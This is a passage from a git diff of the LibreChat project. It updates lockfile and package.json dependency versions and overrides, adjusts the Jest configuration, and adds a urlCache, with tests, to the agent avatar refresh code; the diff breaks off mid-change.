- "integrity": "sha512-ZYP5VBHshaDAiVZxjbRVcFJpc+4xGgT0bK3vzy1HLN8jTO975HEbuYzZJcHoQEY5K1a0z8YayJkyVETa08eNTg==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "whatwg-mimetype": "^4.0.0",
- "whatwg-url": "^14.0.0"
- },
- "engines": {
- "node": ">=18"
- }
- },
- "packages/client/node_modules/decimal.js": {
- "version": "10.6.0",
- "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz",
- "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==",
- "dev": true,
- "license": "MIT"
- },
- "packages/client/node_modules/html-encoding-sniffer": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz",
- "integrity": "sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "whatwg-encoding": "^3.1.1"
- },
- "engines": {
- "node": ">=18"
- }
- },
- "packages/client/node_modules/http-proxy-agent": {
- "version": "7.0.2",
- "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz",
- "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "agent-base": "^7.1.0",
- "debug": "^4.3.4"
- },
- "engines": {
- "node": ">= 14"
- }
- },
"packages/client/node_modules/i18next": {
"version": "24.2.3",
"resolved": "https://registry.npmjs.org/i18next/-/i18next-24.2.3.tgz",
@@ -44116,193 +45987,6 @@
}
}
},
- "packages/client/node_modules/iconv-lite": {
- "version": "0.6.3",
- "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
- "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "safer-buffer": ">= 2.1.2 < 3.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "packages/client/node_modules/jest-environment-jsdom": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-30.2.0.tgz",
- "integrity": "sha512-zbBTiqr2Vl78pKp/laGBREYzbZx9ZtqPjOK4++lL4BNDhxRnahg51HtoDrk9/VjIy9IthNEWdKVd7H5bqBhiWQ==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@jest/environment": "30.2.0",
- "@jest/environment-jsdom-abstract": "30.2.0",
- "@types/jsdom": "^21.1.7",
- "@types/node": "*",
- "jsdom": "^26.1.0"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- },
- "peerDependencies": {
- "canvas": "^3.0.0"
- },
- "peerDependenciesMeta": {
- "canvas": {
- "optional": true
- }
- }
- },
- "packages/client/node_modules/jest-message-util": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.2.0.tgz",
- "integrity": "sha512-y4DKFLZ2y6DxTWD4cDe07RglV88ZiNEdlRfGtqahfbIjfsw1nMCPx49Uev4IA/hWn3sDKyAnSPwoYSsAEdcimw==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@babel/code-frame": "^7.27.1",
- "@jest/types": "30.2.0",
- "@types/stack-utils": "^2.0.3",
- "chalk": "^4.1.2",
- "graceful-fs": "^4.2.11",
- "micromatch": "^4.0.8",
- "pretty-format": "30.2.0",
- "slash": "^3.0.0",
- "stack-utils": "^2.0.6"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
- "packages/client/node_modules/jest-message-util/node_modules/@jest/schemas": {
- "version": "30.0.5",
- "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz",
- "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@sinclair/typebox": "^0.34.0"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
- "packages/client/node_modules/jest-message-util/node_modules/pretty-format": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.2.0.tgz",
- "integrity": "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@jest/schemas": "30.0.5",
- "ansi-styles": "^5.2.0",
- "react-is": "^18.3.1"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
- "packages/client/node_modules/jest-message-util/node_modules/react-is": {
- "version": "18.3.1",
- "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz",
- "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==",
- "dev": true,
- "license": "MIT"
- },
- "packages/client/node_modules/jest-mock": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.2.0.tgz",
- "integrity": "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@jest/types": "30.2.0",
- "@types/node": "*",
- "jest-util": "30.2.0"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
- "packages/client/node_modules/jest-util": {
- "version": "30.2.0",
- "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.2.0.tgz",
- "integrity": "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@jest/types": "30.2.0",
- "@types/node": "*",
- "chalk": "^4.1.2",
- "ci-info": "^4.2.0",
- "graceful-fs": "^4.2.11",
- "picomatch": "^4.0.2"
- },
- "engines": {
- "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
- }
- },
- "packages/client/node_modules/jsdom": {
- "version": "26.1.0",
- "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-26.1.0.tgz",
- "integrity": "sha512-Cvc9WUhxSMEo4McES3P7oK3QaXldCfNWp7pl2NNeiIFlCoLr3kfq9kb1fxftiwk1FLV7CvpvDfonxtzUDeSOPg==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "cssstyle": "^4.2.1",
- "data-urls": "^5.0.0",
- "decimal.js": "^10.5.0",
- "html-encoding-sniffer": "^4.0.0",
- "http-proxy-agent": "^7.0.2",
- "https-proxy-agent": "^7.0.6",
- "is-potential-custom-element-name": "^1.0.1",
- "nwsapi": "^2.2.16",
- "parse5": "^7.2.1",
- "rrweb-cssom": "^0.8.0",
- "saxes": "^6.0.0",
- "symbol-tree": "^3.2.4",
- "tough-cookie": "^5.1.1",
- "w3c-xmlserializer": "^5.0.0",
- "webidl-conversions": "^7.0.0",
- "whatwg-encoding": "^3.1.1",
- "whatwg-mimetype": "^4.0.0",
- "whatwg-url": "^14.1.1",
- "ws": "^8.18.0",
- "xml-name-validator": "^5.0.0"
- },
- "engines": {
- "node": ">=18"
- },
- "peerDependencies": {
- "canvas": "^3.0.0"
- },
- "peerDependenciesMeta": {
- "canvas": {
- "optional": true
- }
- }
- },
- "packages/client/node_modules/nwsapi": {
- "version": "2.2.23",
- "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz",
- "integrity": "sha512-7wfH4sLbt4M0gCDzGE6vzQBo0bfTKjU7Sfpqy/7gs1qBfYz2vEJH6vXcBKpO3+6Yu1telwd0t9HpyOoLEQQbIQ==",
- "dev": true,
- "license": "MIT"
- },
- "packages/client/node_modules/picomatch": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
- "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/jonschlinkert"
- }
- },
"packages/client/node_modules/pretty-format": {
"version": "27.5.1",
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
@@ -44410,13 +46094,13 @@
}
},
"packages/client/node_modules/rimraf": {
- "version": "6.1.2",
- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.2.tgz",
- "integrity": "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g==",
+ "version": "6.1.3",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.3.tgz",
+ "integrity": "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA==",
"dev": true,
"license": "BlueOak-1.0.0",
"dependencies": {
- "glob": "^13.0.0",
+ "glob": "^13.0.3",
"package-json-from-dist": "^1.0.1"
},
"bin": {
@@ -44439,42 +46123,6 @@
"semver": "bin/semver.js"
}
},
- "packages/client/node_modules/slash": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
- "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "packages/client/node_modules/tough-cookie": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-5.1.2.tgz",
- "integrity": "sha512-FVDYdxtnj0G6Qm/DhNPSb8Ju59ULcup3tuJxkFb5K8Bv2pUXILbf0xZWU8PX8Ov19OXljbUyveOFwRMwkXzO+A==",
- "dev": true,
- "license": "BSD-3-Clause",
- "dependencies": {
- "tldts": "^6.1.32"
- },
- "engines": {
- "node": ">=16"
- }
- },
- "packages/client/node_modules/tr46": {
- "version": "5.1.1",
- "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz",
- "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "punycode": "^2.3.1"
- },
- "engines": {
- "node": ">=18"
- }
- },
"packages/client/node_modules/unicode-match-property-value-ecmascript": {
"version": "2.2.1",
"resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.1.tgz",
@@ -44485,69 +46133,9 @@
"node": ">=4"
}
},
- "packages/client/node_modules/w3c-xmlserializer": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz",
- "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "xml-name-validator": "^5.0.0"
- },
- "engines": {
- "node": ">=18"
- }
- },
- "packages/client/node_modules/whatwg-encoding": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz",
- "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "iconv-lite": "0.6.3"
- },
- "engines": {
- "node": ">=18"
- }
- },
- "packages/client/node_modules/whatwg-mimetype": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz",
- "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=18"
- }
- },
- "packages/client/node_modules/whatwg-url": {
- "version": "14.2.0",
- "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz",
- "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "tr46": "^5.1.0",
- "webidl-conversions": "^7.0.0"
- },
- "engines": {
- "node": ">=18"
- }
- },
- "packages/client/node_modules/xml-name-validator": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz",
- "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==",
- "dev": true,
- "license": "Apache-2.0",
- "engines": {
- "node": ">=18"
- }
- },
"packages/data-provider": {
"name": "librechat-data-provider",
- "version": "0.8.300",
+ "version": "0.8.302",
"license": "ISC",
"dependencies": {
"axios": "^1.13.5",
@@ -44573,8 +46161,8 @@
"jest": "^30.2.0",
"jest-junit": "^16.0.0",
"openapi-types": "^12.1.3",
- "rimraf": "^6.1.2",
- "rollup": "^4.22.4",
+ "rimraf": "^6.1.3",
+ "rollup": "^4.34.9",
"rollup-plugin-peer-deps-external": "^2.2.4",
"rollup-plugin-typescript2": "^0.35.0",
"typescript": "^5.0.4"
@@ -44584,13 +46172,13 @@
}
},
"packages/data-provider/node_modules/rimraf": {
- "version": "6.1.2",
- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.2.tgz",
- "integrity": "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g==",
+ "version": "6.1.3",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.3.tgz",
+ "integrity": "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA==",
"dev": true,
"license": "BlueOak-1.0.0",
"dependencies": {
- "glob": "^13.0.0",
+ "glob": "^13.0.3",
"package-json-from-dist": "^1.0.1"
},
"bin": {
@@ -44605,7 +46193,7 @@
},
"packages/data-schemas": {
"name": "@librechat/data-schemas",
- "version": "0.0.36",
+ "version": "0.0.38",
"license": "MIT",
"devDependencies": {
"@rollup/plugin-alias": "^5.1.0",
@@ -44621,8 +46209,8 @@
"jest": "^30.2.0",
"jest-junit": "^16.0.0",
"mongodb-memory-server": "^10.1.4",
- "rimraf": "^6.1.2",
- "rollup": "^4.22.4",
+ "rimraf": "^6.1.3",
+ "rollup": "^4.34.9",
"rollup-plugin-peer-deps-external": "^2.2.4",
"rollup-plugin-typescript2": "^0.35.0",
"ts-node": "^10.9.2",
@@ -44667,13 +46255,13 @@
}
},
"packages/data-schemas/node_modules/rimraf": {
- "version": "6.1.2",
- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.2.tgz",
- "integrity": "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g==",
+ "version": "6.1.3",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-6.1.3.tgz",
+ "integrity": "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA==",
"dev": true,
"license": "BlueOak-1.0.0",
"dependencies": {
- "glob": "^13.0.0",
+ "glob": "^13.0.3",
"package-json-from-dist": "^1.0.1"
},
"bin": {
diff --git a/package.json b/package.json
index 6c8e715a1a..ecbede482e 100644
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
{
"name": "LibreChat",
- "version": "v0.8.3-rc1",
+ "version": "v0.8.3",
"description": "",
"packageManager": "npm@11.10.0",
"workspaces": [
@@ -38,7 +38,7 @@
"update-banner": "node config/update-banner.js",
"delete-banner": "node config/delete-banner.js",
"backend": "cross-env NODE_ENV=production node api/server/index.js",
- "backend:inspect": "cross-env NODE_ENV=production node --inspect api/server/index.js",
+ "backend:inspect": "cross-env NODE_ENV=production node --inspect --expose-gc api/server/index.js",
"backend:dev": "cross-env NODE_ENV=development npx nodemon api/server/index.js",
"backend:experimental": "cross-env NODE_ENV=production node api/server/experimental.js",
"backend:stop": "node config/stop-backend.js",
@@ -48,6 +48,7 @@
"build:client": "cd client && npm run build",
"build:client-package": "cd packages/client && npm run build",
"build:packages": "npm run build:data-provider && npm run build:data-schemas && npm run build:api && npm run build:client-package",
+ "build": "npx turbo run build",
"frontend": "npm run build:data-provider && npm run build:data-schemas && npm run build:api && npm run build:client-package && cd client && npm run build",
"frontend:ci": "npm run build:data-provider && npm run build:client-package && cd client && npm run build:ci",
"frontend:dev": "cd client && npm run dev",
@@ -106,7 +107,7 @@
"devDependencies": {
"@axe-core/playwright": "^4.10.1",
"@eslint/compat": "^1.2.6",
- "@eslint/eslintrc": "^3.3.1",
+ "@eslint/eslintrc": "^3.3.4",
"@eslint/js": "^9.20.0",
"@playwright/test": "^1.56.1",
"@types/react-virtualized": "^9.22.0",
@@ -130,7 +131,7 @@
"lint-staged": "^15.4.3",
"prettier": "^3.5.0",
"prettier-plugin-tailwindcss": "^0.6.11",
- "turbo": "^2.8.7",
+ "turbo": "^2.8.12",
"typescript-eslint": "^8.24.0"
},
"overrides": {
@@ -138,14 +139,14 @@
"@librechat/agents": {
"@langchain/anthropic": {
"@anthropic-ai/sdk": "0.73.0",
- "fast-xml-parser": "5.3.6"
+ "fast-xml-parser": "5.3.8"
},
"@anthropic-ai/sdk": "0.73.0",
- "fast-xml-parser": "5.3.6"
+ "fast-xml-parser": "5.3.8"
},
"axios": "1.12.1",
"elliptic": "^6.6.1",
- "fast-xml-parser": "5.3.6",
+ "fast-xml-parser": "5.3.8",
"form-data": "^4.0.4",
"tslib": "^2.8.1",
"mdast-util-gfm-autolink-literal": "2.0.0",
@@ -164,7 +165,18 @@
"katex": "^0.16.21"
}
},
- "langsmith": "0.4.12"
+ "langsmith": "0.4.12",
+ "eslint": {
+ "ajv": "6.14.0"
+ },
+ "underscore": "1.13.8",
+ "hono": "^4.12.4",
+ "@hono/node-server": "^1.19.10",
+ "monaco-editor": {
+ "dompurify": "3.3.2"
+ },
+ "serialize-javascript": "^7.0.3",
+ "svgo": "^2.8.2"
},
"nodemonConfig": {
"ignore": [
diff --git a/packages/api/jest.config.mjs b/packages/api/jest.config.mjs
index 5506d6e483..df9cf6bcc2 100644
--- a/packages/api/jest.config.mjs
+++ b/packages/api/jest.config.mjs
@@ -7,6 +7,7 @@ export default {
'\\.dev\\.ts$',
'\\.helper\\.ts$',
'\\.helper\\.d\\.ts$',
+ '/__tests__/helpers/',
],
coverageReporters: ['text', 'cobertura'],
testResultsProcessor: 'jest-junit',
@@ -33,6 +34,7 @@ export default {
// lines: 57,
// },
// },
+ maxWorkers: '50%',
restoreMocks: true,
testTimeout: 15000,
};
diff --git a/packages/api/package.json b/packages/api/package.json
index 5f8d1357d0..b3b40c79a2 100644
--- a/packages/api/package.json
+++ b/packages/api/package.json
@@ -1,6 +1,6 @@
{
"name": "@librechat/api",
- "version": "1.7.23",
+ "version": "1.7.25",
"type": "commonjs",
"description": "MCP services for LibreChat",
"main": "dist/index.js",
@@ -18,8 +18,8 @@
"build:dev": "npm run clean && NODE_ENV=development rollup -c --bundleConfigAsCjs",
"build:watch": "NODE_ENV=development rollup -c -w --bundleConfigAsCjs",
"build:watch:prod": "rollup -c -w --bundleConfigAsCjs",
- "test": "jest --coverage --watch --testPathIgnorePatterns=\"\\.*integration\\.|\\.*helper\\.\"",
- "test:ci": "jest --coverage --ci --testPathIgnorePatterns=\"\\.*integration\\.|\\.*helper\\.\"",
+ "test": "jest --coverage --watch --testPathIgnorePatterns=\"\\.*integration\\.|\\.*helper\\.|__tests__/helpers/\"",
+ "test:ci": "jest --coverage --ci --testPathIgnorePatterns=\"\\.*integration\\.|\\.*helper\\.|__tests__/helpers/\"",
"test:cache-integration:core": "jest --testPathPatterns=\"src/cache/.*\\.cache_integration\\.spec\\.ts$\" --coverage=false",
"test:cache-integration:cluster": "jest --testPathPatterns=\"src/cluster/.*\\.cache_integration\\.spec\\.ts$\" --coverage=false --runInBand",
"test:cache-integration:mcp": "jest --testPathPatterns=\"src/mcp/.*\\.cache_integration\\.spec\\.ts$\" --coverage=false",
@@ -67,12 +67,15 @@
"jest": "^30.2.0",
"jest-junit": "^16.0.0",
"librechat-data-provider": "*",
+ "mammoth": "^1.11.0",
"mongodb": "^6.14.2",
- "rimraf": "^6.1.2",
- "rollup": "^4.22.4",
+ "pdfjs-dist": "^5.4.624",
+ "rimraf": "^6.1.3",
+ "rollup": "^4.34.9",
"rollup-plugin-peer-deps-external": "^2.2.4",
"ts-node": "^10.9.2",
- "typescript": "^5.0.4"
+ "typescript": "^5.0.4",
+ "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz"
},
"publishConfig": {
"registry": "https://registry.npmjs.org/"
@@ -87,10 +90,11 @@
"@google/genai": "^1.19.0",
"@keyv/redis": "^4.3.3",
"@langchain/core": "^0.3.80",
- "@librechat/agents": "^3.1.50",
+ "@librechat/agents": "^3.1.56",
"@librechat/data-schemas": "*",
- "@modelcontextprotocol/sdk": "^1.26.0",
+ "@modelcontextprotocol/sdk": "^1.27.1",
"@smithy/node-http-handler": "^4.4.5",
+ "ai-tokenizer": "^1.0.6",
"axios": "^1.13.5",
"connect-redis": "^8.1.0",
"eventsource": "^3.0.2",
@@ -106,13 +110,14 @@
"keyv": "^5.3.2",
"keyv-file": "^5.1.2",
"librechat-data-provider": "*",
+ "mammoth": "^1.11.0",
"mathjs": "^15.1.0",
"memorystore": "^1.6.7",
"mongoose": "^8.12.1",
"node-fetch": "2.7.0",
+ "pdfjs-dist": "^5.4.624",
"rate-limit-redis": "^4.2.0",
- "tiktoken": "^1.0.15",
- "undici": "^7.18.2",
+ "undici": "^7.24.1",
"zod": "^3.22.4"
}
}
diff --git a/packages/api/src/agents/__tests__/memory.test.ts b/packages/api/src/agents/__tests__/memory.test.ts
index 74cd0f4354..dabe6de629 100644
--- a/packages/api/src/agents/__tests__/memory.test.ts
+++ b/packages/api/src/agents/__tests__/memory.test.ts
@@ -22,8 +22,9 @@ jest.mock('winston', () => ({
}));
// Mock the Tokenizer
-jest.mock('~/utils', () => ({
- Tokenizer: {
+jest.mock('~/utils/tokenizer', () => ({
+ __esModule: true,
+ default: {
getTokenCount: jest.fn((text: string) => text.length), // Simple mock: 1 char = 1 token
},
}));
diff --git a/packages/api/src/agents/avatars.spec.ts b/packages/api/src/agents/avatars.spec.ts
index ac97964837..db82b311ee 100644
--- a/packages/api/src/agents/avatars.spec.ts
+++ b/packages/api/src/agents/avatars.spec.ts
@@ -7,6 +7,16 @@ import {
refreshListAvatars,
} from './avatars';
+jest.mock('@librechat/data-schemas', () => ({
+ logger: {
+ debug: jest.fn(),
+ info: jest.fn(),
+ error: jest.fn(),
+ },
+}));
+
+import { logger } from '@librechat/data-schemas';
+
describe('refreshListAvatars', () => {
let mockRefreshS3Url: jest.MockedFunction;
let mockUpdateAgent: jest.MockedFunction;
@@ -15,6 +25,7 @@ describe('refreshListAvatars', () => {
beforeEach(() => {
mockRefreshS3Url = jest.fn();
mockUpdateAgent = jest.fn();
+ jest.clearAllMocks();
});
const createAgent = (overrides: Partial = {}): Agent => ({
@@ -44,6 +55,7 @@ describe('refreshListAvatars', () => {
});
expect(stats.updated).toBe(0);
+ expect(stats.urlCache).toEqual({});
expect(mockRefreshS3Url).not.toHaveBeenCalled();
expect(mockUpdateAgent).not.toHaveBeenCalled();
});
@@ -62,6 +74,7 @@ describe('refreshListAvatars', () => {
expect(stats.not_s3).toBe(1);
expect(stats.updated).toBe(0);
+ expect(stats.urlCache).toEqual({});
expect(mockRefreshS3Url).not.toHaveBeenCalled();
});
@@ -109,6 +122,7 @@ describe('refreshListAvatars', () => {
});
expect(stats.updated).toBe(1);
+ expect(stats.urlCache).toEqual({ agent1: 'new-path.jpg' });
expect(mockRefreshS3Url).toHaveBeenCalledWith(agent.avatar);
expect(mockUpdateAgent).toHaveBeenCalledWith(
{ id: 'agent1' },
@@ -130,6 +144,7 @@ describe('refreshListAvatars', () => {
expect(stats.no_change).toBe(1);
expect(stats.updated).toBe(0);
+ expect(stats.urlCache).toEqual({});
expect(mockUpdateAgent).not.toHaveBeenCalled();
});
@@ -146,6 +161,7 @@ describe('refreshListAvatars', () => {
expect(stats.s3_error).toBe(1);
expect(stats.updated).toBe(0);
+ expect(stats.urlCache).toEqual({});
});
it('should handle database persist errors gracefully', async () => {
@@ -162,6 +178,7 @@ describe('refreshListAvatars', () => {
expect(stats.persist_error).toBe(1);
expect(stats.updated).toBe(0);
+ expect(stats.urlCache).toEqual({ agent1: 'new-path.jpg' });
});
it('should process agents in batches', async () => {
@@ -186,10 +203,49 @@ describe('refreshListAvatars', () => {
});
expect(stats.updated).toBe(25);
+ expect(Object.keys(stats.urlCache)).toHaveLength(25);
expect(mockRefreshS3Url).toHaveBeenCalledTimes(25);
expect(mockUpdateAgent).toHaveBeenCalledTimes(25);
});
+ it('should not populate urlCache when refreshS3Url resolves with falsy', async () => {
+ const agent = createAgent();
+ mockRefreshS3Url.mockResolvedValue(undefined);
+
+ const stats = await refreshListAvatars({
+ agents: [agent],
+ userId,
+ refreshS3Url: mockRefreshS3Url,
+ updateAgent: mockUpdateAgent,
+ });
+
+ expect(stats.no_change).toBe(1);
+ expect(stats.urlCache).toEqual({});
+ expect(mockUpdateAgent).not.toHaveBeenCalled();
+ });
+
+ it('should redact urlCache from log output', async () => {
+ const agent = createAgent();
+ mockRefreshS3Url.mockResolvedValue('new-path.jpg');
+ mockUpdateAgent.mockResolvedValue({});
+
+ await refreshListAvatars({
+ agents: [agent],
+ userId,
+ refreshS3Url: mockRefreshS3Url,
+ updateAgent: mockUpdateAgent,
+ });
+
+ const loggerInfo = logger.info as jest.Mock;
+ const summaryCall = loggerInfo.mock.calls.find(([msg]) =>
+ msg.includes('Avatar refresh summary'),
+ );
+ expect(summaryCall).toBeDefined();
+ const loggedPayload = summaryCall[1];
+ expect(loggedPayload).toHaveProperty('urlCacheSize', 1);
+ expect(loggedPayload).not.toHaveProperty('urlCache');
+ });
+
it('should track mixed statistics correctly', async () => {
const agents = [
createAgent({ id: 'agent1' }),
@@ -214,6 +270,7 @@ describe('refreshListAvatars', () => {
expect(stats.updated).toBe(2); // agent1 and agent2 (other user's agent now refreshed)
expect(stats.not_s3).toBe(1); // agent3
expect(stats.no_id).toBe(1); // agent with empty id
+ expect(stats.urlCache).toEqual({ agent1: 'new-path.jpg', agent2: 'new-path.jpg' });
});
});
diff --git a/packages/api/src/agents/avatars.ts b/packages/api/src/agents/avatars.ts
index 7c92f352b2..25adfdc717 100644
--- a/packages/api/src/agents/avatars.ts
+++ b/packages/api/src/agents/avatars.ts
@@ -29,6 +29,8 @@ export type RefreshStats = {
no_change: number;
s3_error: number;
persist_error: number;
+ /** Maps agentId to the latest valid presigned filepath for re-application on cache hits */
+ urlCache: Record;
};
/**
@@ -55,6 +57,7 @@ export const refreshListAvatars = async ({
no_change: 0,
s3_error: 0,
persist_error: 0,
+ urlCache: {},
};
if (!agents?.length) {
@@ -86,28 +89,23 @@ export const refreshListAvatars = async ({
logger.debug('[refreshListAvatars] Refreshing S3 avatar for agent: %s', agent._id);
const newPath = await refreshS3Url(agent.avatar);
- if (newPath && newPath !== agent.avatar.filepath) {
- try {
- await updateAgent(
- { id: agent.id },
- {
- avatar: {
- filepath: newPath,
- source: agent.avatar.source,
- },
- },
- {
- updatingUserId: userId,
- skipVersioning: true,
- },
- );
- stats.updated++;
- } catch (persistErr) {
- logger.error('[refreshListAvatars] Avatar refresh persist error: %o', persistErr);
- stats.persist_error++;
- }
- } else {
+ if (!newPath || newPath === agent.avatar.filepath) {
stats.no_change++;
+ return;
+ }
+
+ stats.urlCache[agent.id] = newPath;
+
+ try {
+ await updateAgent(
